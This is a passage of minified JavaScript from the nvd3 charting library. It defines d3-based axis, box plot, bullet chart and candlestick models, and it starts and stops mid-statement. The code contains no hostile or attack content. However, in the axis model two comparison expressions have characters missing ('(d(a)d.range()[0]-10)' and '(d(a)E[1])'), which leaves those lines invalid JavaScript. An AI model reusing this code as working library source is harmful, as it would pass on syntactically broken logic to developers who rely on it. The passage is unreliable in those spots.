d=Object.getOwnPropertyNames(c._options||{}),e=Object.getOwnPropertyNames(c._calls||{}),f=c._inherited||[],g=c._d3options||[],h=d.concat(e).concat(f).concat(g);h.unshift(c),h.unshift(b),d3.rebind.apply(this,h),b._inherited=a.utils.arrayUnique(d.concat(e).concat(f).concat(d).concat(b._inherited||[])),b._d3options=a.utils.arrayUnique(g.concat(b._d3options||[]))},a.utils.initSVG=function(a){a.classed({"nvd3-svg":!0})},a.utils.sanitizeHeight=function(a,b){return a||parseInt(b.style("height"),10)||400},a.utils.sanitizeWidth=function(a,b){return a||parseInt(b.style("width"),10)||960},a.utils.availableHeight=function(b,c,d){return a.utils.sanitizeHeight(b,c)-d.top-d.bottom},a.utils.availableWidth=function(b,c,d){return a.utils.sanitizeWidth(b,c)-d.left-d.right},a.utils.noData=function(b,c){var d=b.options(),e=d.margin(),f=d.noData(),g=null==f?["No Data Available."]:[f],h=a.utils.availableHeight(d.height(),c,e),i=a.utils.availableWidth(d.width(),c,e),j=e.left+i/2,k=e.top+h/2;c.selectAll("g").remove();var l=c.selectAll(".nv-noData").data(g);l.enter().append("text").attr("class","nvd3 nv-noData").attr("dy","-.7em").style("text-anchor","middle"),l.attr("x",j).attr("y",k).text(function(a){return a})},a.models.axis=function(){"use strict";function b(g){return s.reset(),g.each(function(b){var g=d3.select(this);a.utils.initSVG(g);var p=g.selectAll("g.nv-wrap.nv-axis").data([b]),q=p.enter().append("g").attr("class","nvd3 nv-wrap nv-axis"),t=(q.append("g"),p.select("g"));null!==n?c.ticks(n):("top"==c.orient()||"bottom"==c.orient())&&c.ticks(Math.abs(d.range()[1]-d.range()[0])/100),t.watchTransition(s,"axis").call(c),r=r||c.scale();var u=c.tickFormat();null==u&&(u=r.tickFormat());var v=t.selectAll("text.nv-axislabel").data([h||null]);v.exit().remove();var w,x,y;switch(c.orient()){case"top":v.enter().append("text").attr("class","nv-axislabel"),y=d.range().length<2?0:2===d.range().length?d.range()[1]:d.range()[d.range().length-1]+(d.range()[1]-d.range()[0]),v.attr("text-anchor","middle").attr("y",0).attr("x",y/2),i&&(x=p.selectAll("g.nv-axisMaxMin").data(d.domain()),x.enter().append("g").attr("class",function(a,b){return["nv-axisMaxMin","nv-axisMaxMin-x",0==b?"nv-axisMin-x":"nv-axisMax-x"].join(" ")}).append("text"),x.exit().remove(),x.attr("transform",function(b){return"translate("+a.utils.NaNtoZero(d(b))+",0)"}).select("text").attr("dy","-0.5em").attr("y",-c.tickPadding()).attr("text-anchor","middle").text(function(a){var b=u(a);return(""+b).match("NaN")?"":b}),x.watchTransition(s,"min-max top").attr("transform",function(b,c){return"translate("+a.utils.NaNtoZero(d.range()[c])+",0)"}));break;case"bottom":w=o+36;var z=30,A=0,B=t.selectAll("g").select("text"),C="";if(j%360){B.each(function(){var a=this.getBoundingClientRect(),b=a.width;A=a.height,b>z&&(z=b)}),C="rotate("+j+" 0,"+(A/2+c.tickPadding())+")";var D=Math.abs(Math.sin(j*Math.PI/180));w=(D?D*z:z)+30,B.attr("transform",C).style("text-anchor",j%360>0?"start":"end")}v.enter().append("text").attr("class","nv-axislabel"),y=d.range().length<2?0:2===d.range().length?d.range()[1]:d.range()[d.range().length-1]+(d.range()[1]-d.range()[0]),v.attr("text-anchor","middle").attr("y",w).attr("x",y/2),i&&(x=p.selectAll("g.nv-axisMaxMin").data([d.domain()[0],d.domain()[d.domain().length-1]]),x.enter().append("g").attr("class",function(a,b){return["nv-axisMaxMin","nv-axisMaxMin-x",0==b?"nv-axisMin-x":"nv-axisMax-x"].join(" ")}).append("text"),x.exit().remove(),x.attr("transform",function(b){return"translate("+a.utils.NaNtoZero(d(b)+(m?d.rangeBand()/2:0))+",0)"}).select("text").attr("dy",".71em").attr("y",c.tickPadding()).attr("transform",C).style("text-anchor",j?j%360>0?"start":"end":"middle").text(function(a){var b=u(a);return(""+b).match("NaN")?"":b}),x.watchTransition(s,"min-max bottom").attr("transform",function(b){return"translate("+a.utils.NaNtoZero(d(b)+(m?d.rangeBand()/2:0))+",0)"})),l&&B.attr("transform",function(a,b){return"translate(0,"+(b%2==0?"0":"12")+")"});break;case"right":v.enter().append("text").attr("class","nv-axislabel"),v.style("text-anchor",k?"middle":"begin").attr("transform",k?"rotate(90)":"").attr("y",k?-Math.max(e.right,f)+12:-10).attr("x",k?d3.max(d.range())/2:c.tickPadding()),i&&(x=p.selectAll("g.nv-axisMaxMin").data(d.domain()),x.enter().append("g").attr("class",function(a,b){return["nv-axisMaxMin","nv-axisMaxMin-y",0==b?"nv-axisMin-y":"nv-axisMax-y"].join(" ")}).append("text").style("opacity",0),x.exit().remove(),x.attr("transform",function(b){return"translate(0,"+a.utils.NaNtoZero(d(b))+")"}).select("text").attr("dy",".32em").attr("y",0).attr("x",c.tickPadding()).style("text-anchor","start").text(function(a){var b=u(a);return(""+b).match("NaN")?"":b}),x.watchTransition(s,"min-max right").attr("transform",function(b,c){return"translate(0,"+a.utils.NaNtoZero(d.range()[c])+")"}).select("text").style("opacity",1));break;case"left":v.enter().append("text").attr("class","nv-axislabel"),v.style("text-anchor",k?"middle":"end").attr("transform",k?"rotate(-90)":"").attr("y",k?-Math.max(e.left,f)+25-(o||0):-10).attr("x",k?-d3.max(d.range())/2:-c.tickPadding()),i&&(x=p.selectAll("g.nv-axisMaxMin").data(d.domain()),x.enter().append("g").attr("class",function(a,b){return["nv-axisMaxMin","nv-axisMaxMin-y",0==b?"nv-axisMin-y":"nv-axisMax-y"].join(" ")}).append("text").style("opacity",0),x.exit().remove(),x.attr("transform",function(b){return"translate(0,"+a.utils.NaNtoZero(r(b))+")"}).select("text").attr("dy",".32em").attr("y",0).attr("x",-c.tickPadding()).attr("text-anchor","end").text(function(a){var b=u(a);return(""+b).match("NaN")?"":b}),x.watchTransition(s,"min-max right").attr("transform",function(b,c){return"translate(0,"+a.utils.NaNtoZero(d.range()[c])+")"}).select("text").style("opacity",1))}if(v.text(function(a){return a}),!i||"left"!==c.orient()&&"right"!==c.orient()||(t.selectAll("g").each(function(a){d3.select(this).select("text").attr("opacity",1),(d(a)d.range()[0]-10)&&((a>1e-10||-1e-10>a)&&d3.select(this).attr("opacity",0),d3.select(this).select("text").attr("opacity",0))}),d.domain()[0]==d.domain()[1]&&0==d.domain()[0]&&p.selectAll("g.nv-axisMaxMin").style("opacity",function(a,b){return b?0:1})),i&&("top"===c.orient()||"bottom"===c.orient())){var E=[];p.selectAll("g.nv-axisMaxMin").each(function(a,b){try{E.push(b?d(a)-this.getBoundingClientRect().width-4:d(a)+this.getBoundingClientRect().width+4)}catch(c){E.push(b?d(a)-4:d(a)+4)}}),t.selectAll("g").each(function(a){(d(a)E[1])&&(a>1e-10||-1e-10>a?d3.select(this).remove():d3.select(this).select("text").remove())})}t.selectAll(".tick").filter(function(a){return!parseFloat(Math.round(1e5*a)/1e6)&&void 0!==a}).classed("zero",!0),r=d.copy()}),s.renderEnd("axis immediate"),b}var c=d3.svg.axis(),d=d3.scale.linear(),e={top:0,right:0,bottom:0,left:0},f=75,g=60,h=null,i=!0,j=0,k=!0,l=!1,m=!1,n=null,o=0,p=250,q=d3.dispatch("renderEnd");c.scale(d).orient("bottom").tickFormat(function(a){return a});var r,s=a.utils.renderWatch(q,p);return b.axis=c,b.dispatch=q,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{axisLabelDistance:{get:function(){return o},set:function(a){o=a}},staggerLabels:{get:function(){return l},set:function(a){l=a}},rotateLabels:{get:function(){return j},set:function(a){j=a}},rotateYLabel:{get:function(){return k},set:function(a){k=a}},showMaxMin:{get:function(){return i},set:function(a){i=a}},axisLabel:{get:function(){return h},set:function(a){h=a}},height:{get:function(){return g},set:function(a){g=a}},ticks:{get:function(){return n},set:function(a){n=a}},width:{get:function(){return f},set:function(a){f=a}},margin:{get:function(){return e},set:function(a){e.top=void 0!==a.top?a.top:e.top,e.right=void 0!==a.right?a.right:e.right,e.bottom=void 0!==a.bottom?a.bottom:e.bottom,e.left=void 0!==a.left?a.left:e.left}},duration:{get:function(){return p},set:function(a){p=a,s.reset(p)}},scale:{get:function(){return d},set:function(e){d=e,c.scale(d),m="function"==typeof d.rangeBands,a.utils.inheritOptionsD3(b,d,["domain","range","rangeBand","rangeBands"])}}}),a.utils.initOptions(b),a.utils.inheritOptionsD3(b,c,["orient","tickValues","tickSubdivide","tickSize","tickPadding","tickFormat"]),a.utils.inheritOptionsD3(b,d,["domain","range","rangeBand","rangeBands"]),b},a.models.boxPlot=function(){"use strict";function b(l){return v.reset(),l.each(function(b){var l=j-i.left-i.right,p=k-i.top-i.bottom;r=d3.select(this),a.utils.initSVG(r),m.domain(c||b.map(function(a,b){return o(a,b)})).rangeBands(e||[0,l],.1);var w=[];if(!d){var x=d3.min(b.map(function(a){var b=[];return b.push(a.values.Q1),a.values.hasOwnProperty("whisker_low")&&null!==a.values.whisker_low&&b.push(a.values.whisker_low),a.values.hasOwnProperty("outliers")&&null!==a.values.outliers&&(b=b.concat(a.values.outliers)),d3.min(b)})),y=d3.max(b.map(function(a){var b=[];return b.push(a.values.Q3),a.values.hasOwnProperty("whisker_high")&&null!==a.values.whisker_high&&b.push(a.values.whisker_high),a.values.hasOwnProperty("outliers")&&null!==a.values.outliers&&(b=b.concat(a.values.outliers)),d3.max(b)}));w=[x,y]}n.domain(d||w),n.range(f||[p,0]),g=g||m,h=h||n.copy().range([n(0),n(0)]);{var z=r.selectAll("g.nv-wrap").data([b]);z.enter().append("g").attr("class","nvd3 nv-wrap")}z.attr("transform","translate("+i.left+","+i.top+")");var A=z.selectAll(".nv-boxplot").data(function(a){return a}),B=A.enter().append("g").style("stroke-opacity",1e-6).style("fill-opacity",1e-6);A.attr("class","nv-boxplot").attr("transform",function(a,b){return"translate("+(m(o(a,b))+.05*m.rangeBand())+", 0)"}).classed("hover",function(a){return a.hover}),A.watchTransition(v,"nv-boxplot: boxplots").style("stroke-opacity",1).style("fill-opacity",.75).delay(function(a,c){return c*t/b.length}).attr("transform",function(a,b){return"translate("+(m(o(a,b))+.05*m.rangeBand())+", 0)"}),A.exit().remove(),B.each(function(a,b){var c=d3.select(this);["low","high"].forEach(function(d){a.values.hasOwnProperty("whisker_"+d)&&null!==a.values["whisker_"+d]&&(c.append("line").style("stroke",a.color?a.color:q(a,b)).attr("class","nv-boxplot-whisker nv-boxplot-"+d),c.append("line").style("stroke",a.color?a.color:q(a,b)).attr("class","nv-boxplot-tick nv-boxplot-"+d))})});var C=A.selectAll(".nv-boxplot-outlier").data(function(a){return a.values.hasOwnProperty("outliers")&&null!==a.values.outliers?a.values.outliers:[]});C.enter().append("circle").style("fill",function(a,b,c){return q(a,c)}).style("stroke",function(a,b,c){return q(a,c)}).on("mouseover",function(a,b,c){d3.select(this).classed("hover",!0),s.elementMouseover({series:{key:a,color:q(a,c)},e:d3.event})}).on("mouseout",function(a,b,c){d3.select(this).classed("hover",!1),s.elementMouseout({series:{key:a,color:q(a,c)},e:d3.event})}).on("mousemove",function(){s.elementMousemove({e:d3.event})}),C.attr("class","nv-boxplot-outlier"),C.watchTransition(v,"nv-boxplot: nv-boxplot-outlier").attr("cx",.45*m.rangeBand()).attr("cy",function(a){return n(a)}).attr("r","3"),C.exit().remove();var D=function(){return null===u?.9*m.rangeBand():Math.min(75,.9*m.rangeBand())},E=function(){return.45*m.rangeBand()-D()/2},F=function(){return.45*m.rangeBand()+D()/2};["low","high"].forEach(function(a){var b="low"===a?"Q1":"Q3";A.select("line.nv-boxplot-whisker.nv-boxplot-"+a).watchTransition(v,"nv-boxplot: boxplots").attr("x1",.45*m.rangeBand()).attr("y1",function(b){return n(b.values["whisker_"+a])}).attr("x2",.45*m.rangeBand()).attr("y2",function(a){return n(a.values[b])}),A.select("line.nv-boxplot-tick.nv-boxplot-"+a).watchTransition(v,"nv-boxplot: boxplots").attr("x1",E).attr("y1",function(b){return n(b.values["whisker_"+a])}).attr("x2",F).attr("y2",function(b){return n(b.values["whisker_"+a])})}),["low","high"].forEach(function(a){B.selectAll(".nv-boxplot-"+a).on("mouseover",function(b,c,d){d3.select(this).classed("hover",!0),s.elementMouseover({series:{key:b.values["whisker_"+a],color:q(b,d)},e:d3.event})}).on("mouseout",function(b,c,d){d3.select(this).classed("hover",!1),s.elementMouseout({series:{key:b.values["whisker_"+a],color:q(b,d)},e:d3.event})}).on("mousemove",function(){s.elementMousemove({e:d3.event})})}),B.append("rect").attr("class","nv-boxplot-box").on("mouseover",function(a,b){d3.select(this).classed("hover",!0),s.elementMouseover({key:a.label,value:a.label,series:[{key:"Q3",value:a.values.Q3,color:a.color||q(a,b)},{key:"Q2",value:a.values.Q2,color:a.color||q(a,b)},{key:"Q1",value:a.values.Q1,color:a.color||q(a,b)}],data:a,index:b,e:d3.event})}).on("mouseout",function(a,b){d3.select(this).classed("hover",!1),s.elementMouseout({key:a.label,value:a.label,series:[{key:"Q3",value:a.values.Q3,color:a.color||q(a,b)},{key:"Q2",value:a.values.Q2,color:a.color||q(a,b)},{key:"Q1",value:a.values.Q1,color:a.color||q(a,b)}],data:a,index:b,e:d3.event})}).on("mousemove",function(){s.elementMousemove({e:d3.event})}),A.select("rect.nv-boxplot-box").watchTransition(v,"nv-boxplot: boxes").attr("y",function(a){return n(a.values.Q3)}).attr("width",D).attr("x",E).attr("height",function(a){return Math.abs(n(a.values.Q3)-n(a.values.Q1))||1}).style("fill",function(a,b){return a.color||q(a,b)}).style("stroke",function(a,b){return a.color||q(a,b)}),B.append("line").attr("class","nv-boxplot-median"),A.select("line.nv-boxplot-median").watchTransition(v,"nv-boxplot: boxplots line").attr("x1",E).attr("y1",function(a){return n(a.values.Q2)}).attr("x2",F).attr("y2",function(a){return n(a.values.Q2)}),g=m.copy(),h=n.copy()}),v.renderEnd("nv-boxplot immediate"),b}var c,d,e,f,g,h,i={top:0,right:0,bottom:0,left:0},j=960,k=500,l=Math.floor(1e4*Math.random()),m=d3.scale.ordinal(),n=d3.scale.linear(),o=function(a){return a.x},p=function(a){return a.y},q=a.utils.defaultColor(),r=null,s=d3.dispatch("elementMouseover","elementMouseout","elementMousemove","renderEnd"),t=250,u=null,v=a.utils.renderWatch(s,t);return b.dispatch=s,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return j},set:function(a){j=a}},height:{get:function(){return k},set:function(a){k=a}},maxBoxWidth:{get:function(){return u},set:function(a){u=a}},x:{get:function(){return o},set:function(a){o=a}},y:{get:function(){return p},set:function(a){p=a}},xScale:{get:function(){return m},set:function(a){m=a}},yScale:{get:function(){return n},set:function(a){n=a}},xDomain:{get:function(){return c},set:function(a){c=a}},yDomain:{get:function(){return d},set:function(a){d=a}},xRange:{get:function(){return e},set:function(a){e=a}},yRange:{get:function(){return f},set:function(a){f=a}},id:{get:function(){return l},set:function(a){l=a}},margin:{get:function(){return i},set:function(a){i.top=void 0!==a.top?a.top:i.top,i.right=void 0!==a.right?a.right:i.right,i.bottom=void 0!==a.bottom?a.bottom:i.bottom,i.left=void 0!==a.left?a.left:i.left}},color:{get:function(){return q},set:function(b){q=a.utils.getColor(b)}},duration:{get:function(){return t},set:function(a){t=a,v.reset(t)}}}),a.utils.initOptions(b),b},a.models.boxPlotChart=function(){"use strict";function b(k){return t.reset(),t.models(e),l&&t.models(f),m&&t.models(g),k.each(function(k){var p=d3.select(this);a.utils.initSVG(p);var t=(i||parseInt(p.style("width"))||960)-h.left-h.right,u=(j||parseInt(p.style("height"))||400)-h.top-h.bottom;if(b.update=function(){r.beforeUpdate(),p.transition().duration(s).call(b)},b.container=this,!(k&&k.length&&k.filter(function(a){return a.values.hasOwnProperty("Q1")&&a.values.hasOwnProperty("Q2")&&a.values.hasOwnProperty("Q3")}).length)){var v=p.selectAll(".nv-noData").data([q]);return v.enter().append("text").attr("class","nvd3 nv-noData").attr("dy","-.7em").style("text-anchor","middle"),v.attr("x",h.left+t/2).attr("y",h.top+u/2).text(function(a){return a}),b}p.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale().clamp(!0);var w=p.selectAll("g.nv-wrap.nv-boxPlotWithAxes").data([k]),x=w.enter().append("g").attr("class","nvd3 nv-wrap nv-boxPlotWithAxes").append("g"),y=x.append("defs"),z=w.select("g"); x.append("g").attr("class","nv-x nv-axis"),x.append("g").attr("class","nv-y nv-axis").append("g").attr("class","nv-zeroLine").append("line"),x.append("g").attr("class","nv-barsWrap"),z.attr("transform","translate("+h.left+","+h.top+")"),n&&z.select(".nv-y.nv-axis").attr("transform","translate("+t+",0)"),e.width(t).height(u);var A=z.select(".nv-barsWrap").datum(k.filter(function(a){return!a.disabled}));if(A.transition().call(e),y.append("clipPath").attr("id","nv-x-label-clip-"+e.id()).append("rect"),z.select("#nv-x-label-clip-"+e.id()+" rect").attr("width",c.rangeBand()*(o?2:1)).attr("height",16).attr("x",-c.rangeBand()/(o?1:2)),l){f.scale(c).ticks(a.utils.calcTicksX(t/100,k)).tickSize(-u,0),z.select(".nv-x.nv-axis").attr("transform","translate(0,"+d.range()[0]+")"),z.select(".nv-x.nv-axis").call(f);var B=z.select(".nv-x.nv-axis").selectAll("g");o&&B.selectAll("text").attr("transform",function(a,b,c){return"translate(0,"+(c%2==0?"5":"17")+")"})}m&&(g.scale(d).ticks(Math.floor(u/36)).tickSize(-t,0),z.select(".nv-y.nv-axis").call(g)),z.select(".nv-zeroLine line").attr("x1",0).attr("x2",t).attr("y1",d(0)).attr("y2",d(0))}),t.renderEnd("nv-boxplot chart immediate"),b}var c,d,e=a.models.boxPlot(),f=a.models.axis(),g=a.models.axis(),h={top:15,right:10,bottom:50,left:60},i=null,j=null,k=a.utils.getColor(),l=!0,m=!0,n=!1,o=!1,p=a.models.tooltip(),q="No Data Available.",r=d3.dispatch("tooltipShow","tooltipHide","beforeUpdate","renderEnd"),s=250;f.orient("bottom").showMaxMin(!1).tickFormat(function(a){return a}),g.orient(n?"right":"left").tickFormat(d3.format(",.1f")),p.duration(0);var t=a.utils.renderWatch(r,s);return e.dispatch.on("elementMouseover.tooltip",function(a){p.data(a).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(a){p.data(a).hidden(!0)}),e.dispatch.on("elementMousemove.tooltip",function(){p.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=r,b.boxplot=e,b.xAxis=f,b.yAxis=g,b.tooltip=p,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return i},set:function(a){i=a}},height:{get:function(){return j},set:function(a){j=a}},staggerLabels:{get:function(){return o},set:function(a){o=a}},showXAxis:{get:function(){return l},set:function(a){l=a}},showYAxis:{get:function(){return m},set:function(a){m=a}},tooltips:{get:function(){return tooltips},set:function(a){tooltips=a}},tooltipContent:{get:function(){return p},set:function(a){p=a}},noData:{get:function(){return q},set:function(a){q=a}},margin:{get:function(){return h},set:function(a){h.top=void 0!==a.top?a.top:h.top,h.right=void 0!==a.right?a.right:h.right,h.bottom=void 0!==a.bottom?a.bottom:h.bottom,h.left=void 0!==a.left?a.left:h.left}},duration:{get:function(){return s},set:function(a){s=a,t.reset(s),e.duration(s),f.duration(s),g.duration(s)}},color:{get:function(){return k},set:function(b){k=a.utils.getColor(b),e.color(k)}},rightAlignYAxis:{get:function(){return n},set:function(a){n=a,g.orient(a?"right":"left")}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.bullet=function(){"use strict";function b(d){return d.each(function(b,d){var p=m-c.left-c.right,s=n-c.top-c.bottom;o=d3.select(this),a.utils.initSVG(o);{var t=f.call(this,b,d).slice().sort(d3.descending),u=g.call(this,b,d).slice().sort(d3.descending),v=h.call(this,b,d).slice().sort(d3.descending),w=i.call(this,b,d).slice(),x=j.call(this,b,d).slice(),y=k.call(this,b,d).slice(),z=d3.scale.linear().domain(d3.extent(d3.merge([l,t]))).range(e?[p,0]:[0,p]);this.__chart__||d3.scale.linear().domain([0,1/0]).range(z.range())}this.__chart__=z;var A=d3.min(t),B=d3.max(t),C=t[1],D=o.selectAll("g.nv-wrap.nv-bullet").data([b]),E=D.enter().append("g").attr("class","nvd3 nv-wrap nv-bullet"),F=E.append("g"),G=D.select("g");F.append("rect").attr("class","nv-range nv-rangeMax"),F.append("rect").attr("class","nv-range nv-rangeAvg"),F.append("rect").attr("class","nv-range nv-rangeMin"),F.append("rect").attr("class","nv-measure"),D.attr("transform","translate("+c.left+","+c.top+")");var H=function(a){return Math.abs(z(a)-z(0))},I=function(a){return z(0>a?a:0)};G.select("rect.nv-rangeMax").attr("height",s).attr("width",H(B>0?B:A)).attr("x",I(B>0?B:A)).datum(B>0?B:A),G.select("rect.nv-rangeAvg").attr("height",s).attr("width",H(C)).attr("x",I(C)).datum(C),G.select("rect.nv-rangeMin").attr("height",s).attr("width",H(B)).attr("x",I(B)).attr("width",H(B>0?A:B)).attr("x",I(B>0?A:B)).datum(B>0?A:B),G.select("rect.nv-measure").style("fill",q).attr("height",s/3).attr("y",s/3).attr("width",0>v?z(0)-z(v[0]):z(v[0])-z(0)).attr("x",I(v)).on("mouseover",function(){r.elementMouseover({value:v[0],label:y[0]||"Current",color:d3.select(this).style("fill")})}).on("mousemove",function(){r.elementMousemove({value:v[0],label:y[0]||"Current",color:d3.select(this).style("fill")})}).on("mouseout",function(){r.elementMouseout({value:v[0],label:y[0]||"Current",color:d3.select(this).style("fill")})});var J=s/6,K=u.map(function(a,b){return{value:a,label:x[b]}});F.selectAll("path.nv-markerTriangle").data(K).enter().append("path").attr("class","nv-markerTriangle").attr("transform",function(a){return"translate("+z(a.value)+","+s/2+")"}).attr("d","M0,"+J+"L"+J+","+-J+" "+-J+","+-J+"Z").on("mouseover",function(a){r.elementMouseover({value:a.value,label:a.label||"Previous",color:d3.select(this).style("fill"),pos:[z(a.value),s/2]})}).on("mousemove",function(a){r.elementMousemove({value:a.value,label:a.label||"Previous",color:d3.select(this).style("fill")})}).on("mouseout",function(a){r.elementMouseout({value:a.value,label:a.label||"Previous",color:d3.select(this).style("fill")})}),D.selectAll(".nv-range").on("mouseover",function(a,b){var c=w[b]||(b?1==b?"Mean":"Minimum":"Maximum");r.elementMouseover({value:a,label:c,color:d3.select(this).style("fill")})}).on("mousemove",function(){r.elementMousemove({value:v[0],label:y[0]||"Previous",color:d3.select(this).style("fill")})}).on("mouseout",function(a,b){var c=w[b]||(b?1==b?"Mean":"Minimum":"Maximum");r.elementMouseout({value:a,label:c,color:d3.select(this).style("fill")})})}),b}var c={top:0,right:0,bottom:0,left:0},d="left",e=!1,f=function(a){return a.ranges},g=function(a){return a.markers?a.markers:[0]},h=function(a){return a.measures},i=function(a){return a.rangeLabels?a.rangeLabels:[]},j=function(a){return a.markerLabels?a.markerLabels:[]},k=function(a){return a.measureLabels?a.measureLabels:[]},l=[0],m=380,n=30,o=null,p=null,q=a.utils.getColor(["#1f77b4"]),r=d3.dispatch("elementMouseover","elementMouseout","elementMousemove");return b.dispatch=r,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{ranges:{get:function(){return f},set:function(a){f=a}},markers:{get:function(){return g},set:function(a){g=a}},measures:{get:function(){return h},set:function(a){h=a}},forceX:{get:function(){return l},set:function(a){l=a}},width:{get:function(){return m},set:function(a){m=a}},height:{get:function(){return n},set:function(a){n=a}},tickFormat:{get:function(){return p},set:function(a){p=a}},margin:{get:function(){return c},set:function(a){c.top=void 0!==a.top?a.top:c.top,c.right=void 0!==a.right?a.right:c.right,c.bottom=void 0!==a.bottom?a.bottom:c.bottom,c.left=void 0!==a.left?a.left:c.left}},orient:{get:function(){return d},set:function(a){d=a,e="right"==d||"bottom"==d}},color:{get:function(){return q},set:function(b){q=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.bulletChart=function(){"use strict";function b(d){return d.each(function(e,o){var p=d3.select(this);a.utils.initSVG(p);var q=a.utils.availableWidth(k,p,g),r=l-g.top-g.bottom;if(b.update=function(){b(d)},b.container=this,!e||!h.call(this,e,o))return a.utils.noData(b,p),b;p.selectAll(".nv-noData").remove();var s=h.call(this,e,o).slice().sort(d3.descending),t=i.call(this,e,o).slice().sort(d3.descending),u=j.call(this,e,o).slice().sort(d3.descending),v=p.selectAll("g.nv-wrap.nv-bulletChart").data([e]),w=v.enter().append("g").attr("class","nvd3 nv-wrap nv-bulletChart"),x=w.append("g"),y=v.select("g");x.append("g").attr("class","nv-bulletWrap"),x.append("g").attr("class","nv-titles"),v.attr("transform","translate("+g.left+","+g.top+")");var z=d3.scale.linear().domain([0,Math.max(s[0],t[0],u[0])]).range(f?[q,0]:[0,q]),A=this.__chart__||d3.scale.linear().domain([0,1/0]).range(z.range());this.__chart__=z;var B=x.select(".nv-titles").append("g").attr("text-anchor","end").attr("transform","translate(-6,"+(l-g.top-g.bottom)/2+")");B.append("text").attr("class","nv-title").text(function(a){return a.title}),B.append("text").attr("class","nv-subtitle").attr("dy","1em").text(function(a){return a.subtitle}),c.width(q).height(r);var C=y.select(".nv-bulletWrap");d3.transition(C).call(c);var D=m||z.tickFormat(q/100),E=y.selectAll("g.nv-tick").data(z.ticks(n?n:q/50),function(a){return this.textContent||D(a)}),F=E.enter().append("g").attr("class","nv-tick").attr("transform",function(a){return"translate("+A(a)+",0)"}).style("opacity",1e-6);F.append("line").attr("y1",r).attr("y2",7*r/6),F.append("text").attr("text-anchor","middle").attr("dy","1em").attr("y",7*r/6).text(D);var G=d3.transition(E).attr("transform",function(a){return"translate("+z(a)+",0)"}).style("opacity",1);G.select("line").attr("y1",r).attr("y2",7*r/6),G.select("text").attr("y",7*r/6),d3.transition(E.exit()).attr("transform",function(a){return"translate("+z(a)+",0)"}).style("opacity",1e-6).remove()}),d3.timer.flush(),b}var c=a.models.bullet(),d=a.models.tooltip(),e="left",f=!1,g={top:5,right:40,bottom:20,left:120},h=function(a){return a.ranges},i=function(a){return a.markers?a.markers:[0]},j=function(a){return a.measures},k=null,l=55,m=null,n=null,o=null,p=d3.dispatch("tooltipShow","tooltipHide");return d.duration(0).headerEnabled(!1),c.dispatch.on("elementMouseover.tooltip",function(a){a.series={key:a.label,value:a.value,color:a.color},d.data(a).hidden(!1)}),c.dispatch.on("elementMouseout.tooltip",function(){d.hidden(!0)}),c.dispatch.on("elementMousemove.tooltip",function(){d.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.bullet=c,b.dispatch=p,b.tooltip=d,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{ranges:{get:function(){return h},set:function(a){h=a}},markers:{get:function(){return i},set:function(a){i=a}},measures:{get:function(){return j},set:function(a){j=a}},width:{get:function(){return k},set:function(a){k=a}},height:{get:function(){return l},set:function(a){l=a}},tickFormat:{get:function(){return m},set:function(a){m=a}},ticks:{get:function(){return n},set:function(a){n=a}},noData:{get:function(){return o},set:function(a){o=a}},tooltips:{get:function(){return d.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),d.enabled(!!b)}},tooltipContent:{get:function(){return d.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),d.contentGenerator(b)}},margin:{get:function(){return g},set:function(a){g.top=void 0!==a.top?a.top:g.top,g.right=void 0!==a.right?a.right:g.right,g.bottom=void 0!==a.bottom?a.bottom:g.bottom,g.left=void 0!==a.left?a.left:g.left}},orient:{get:function(){return e},set:function(a){e=a,f="right"==e||"bottom"==e}}}),a.utils.inheritOptions(b,c),a.utils.initOptions(b),b},a.models.candlestickBar=function(){"use strict";function b(x){return x.each(function(b){c=d3.select(this);var x=a.utils.availableWidth(i,c,h),y=a.utils.availableHeight(j,c,h);a.utils.initSVG(c);var A=x/b[0].values.length*.45;l.domain(d||d3.extent(b[0].values.map(n).concat(t))),l.range(v?f||[.5*x/b[0].values.length,x*(b[0].values.length-.5)/b[0].values.length]:f||[5+A/2,x-A/2-5]),m.domain(e||[d3.min(b[0].values.map(s).concat(u)),d3.max(b[0].values.map(r).concat(u))]).range(g||[y,0]),l.domain()[0]===l.domain()[1]&&l.domain(l.domain()[0]?[l.domain()[0]-.01*l.domain()[0],l.domain()[1]+.01*l.domain()[1]]:[-1,1]),m.domain()[0]===m.domain()[1]&&m.domain(m.domain()[0]?[m.domain()[0]+.01*m.domain()[0],m.domain()[1]-.01*m.domain()[1]]:[-1,1]);var B=d3.select(this).selectAll("g.nv-wrap.nv-candlestickBar").data([b[0].values]),C=B.enter().append("g").attr("class","nvd3 nv-wrap nv-candlestickBar"),D=C.append("defs"),E=C.append("g"),F=B.select("g");E.append("g").attr("class","nv-ticks"),B.attr("transform","translate("+h.left+","+h.top+")"),c.on("click",function(a,b){z.chartClick({data:a,index:b,pos:d3.event,id:k})}),D.append("clipPath").attr("id","nv-chart-clip-path-"+k).append("rect"),B.select("#nv-chart-clip-path-"+k+" rect").attr("width",x).attr("height",y),F.attr("clip-path",w?"url(#nv-chart-clip-path-"+k+")":"");var G=B.select(".nv-ticks").selectAll(".nv-tick").data(function(a){return a});G.exit().remove();{var H=G.enter().append("g").attr("class",function(a,b,c){return(p(a,b)>q(a,b)?"nv-tick negative":"nv-tick positive")+" nv-tick-"+c+"-"+b});H.append("line").attr("class","nv-candlestick-lines").attr("transform",function(a,b){return"translate("+l(n(a,b))+",0)"}).attr("x1",0).attr("y1",function(a,b){return m(r(a,b))}).attr("x2",0).attr("y2",function(a,b){return m(s(a,b))}),H.append("rect").attr("class","nv-candlestick-rects nv-bars").attr("transform",function(a,b){return"translate("+(l(n(a,b))-A/2)+","+(m(o(a,b))-(p(a,b)>q(a,b)?m(q(a,b))-m(p(a,b)):0))+")"}).attr("x",0).attr("y",0).attr("width",A).attr("height",function(a,b){var c=p(a,b),d=q(a,b);return 